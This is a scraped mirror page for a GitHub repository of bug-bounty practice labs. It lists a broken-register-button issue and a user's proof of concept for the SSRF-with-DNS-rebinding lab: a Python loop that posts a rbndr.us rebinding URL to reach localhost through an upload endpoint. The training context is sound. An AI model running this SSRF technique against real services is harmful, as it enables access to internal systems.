Coder Social home page Coder Social logo

leetcipher / bug-bounty-labs Goto Github PK

View Code? Open in Web Editor NEW
154.0 154.0 55.0 1.22 MB

All the labs in this repository simulate real world bugs I found in the wild

Dockerfile 1.78% Python 43.84% HTML 22.33% JavaScript 17.30% Handlebars 13.10% CSS 0.29% Shell 1.35%

bug-bounty-labs's People

Contributors

leetcipher avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Watchers

avatar avatar avatar avatar avatar avatar

Forkers

bbhunter dr-r00t3r mohammedshine abdulx01 dk9510 xsuperbug dukelaar vyshnavvizz maxway2021 47hunt swajyadip1997 bhishma14 tounsi007 plna jinjo0 0m33 wai-yan-kyaw vishal12300 secfb gprime31 qquang attacker-codeninja akr3ch peterchain7 seezan17 betillogalvanfbc meefs habushu averroes amaljithcf mohwahyudi 13ughunter ketr0it srand2 tinkerermaruthu mbosinwa akshaykumar-kokitkar sz3cur3 scrumfox 5l1v3r1 trytohack892 crackd3vil 1nf1n7y ajesaramos agilarasu dz-abdlhakim jarek-bir penttools ramosslyz senlin-1573 1337in c7b34-3th34 kahila

bug-bounty-labs's Issues

idor-bug: the register button does nothing

When browsing to /register, the page loads:

node-app          | Thu, 16 Sep 2021 16:35:54 GMT express:router dispatching GET /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:router query  : /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:router expressInit  : /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:router jsonParser  : /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:router urlencodedParser  : /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:router serveStatic  : /register
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:view lookup "register.handlebars"
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:view stat "/idor-bug/views/register.handlebars"
node-app          | Thu, 16 Sep 2021 16:35:55 GMT express:view render "/idor-bug/views/register.handlebars"
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router dispatching GET /js/register.js
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router query  : /js/register.js
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router expressInit  : /js/register.js
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router jsonParser  : /js/register.js
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router urlencodedParser  : /js/register.js
node-app          | Thu, 16 Sep 2021 16:35:57 GMT express:router serveStatic  : /js/register.js

But when you click on the register button, nothing happens.

ssrf-with-dns-rebinding-lab Chinese hacker attentions

We can't use the ip of google,we must use Chinese ip,like baidu.com.
POC
import requests import time for i in range(1,1000): cookies={"uuid_hash":"8f282a4de56b5a379083e16339d84cd9bee0f64503f9159c5ca7a89f2484a121cae32d23afed9fc673225e1b1ac4beb468964e832a8ef43a2758a475aa2703ed"} a=requests.post(url="http://192.168.0.107/api/v2/upload",cookies=cookies,json={"file_url":"http://7f000001.dcb52694.rbndr.us/api"}) print(a.content.decode('utf-8')) if a.status_code != 403: print(a.content.decode('utf-8')) break
Many thanks to the author for the video guide on YouTube, all the lab is helpful.👍

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.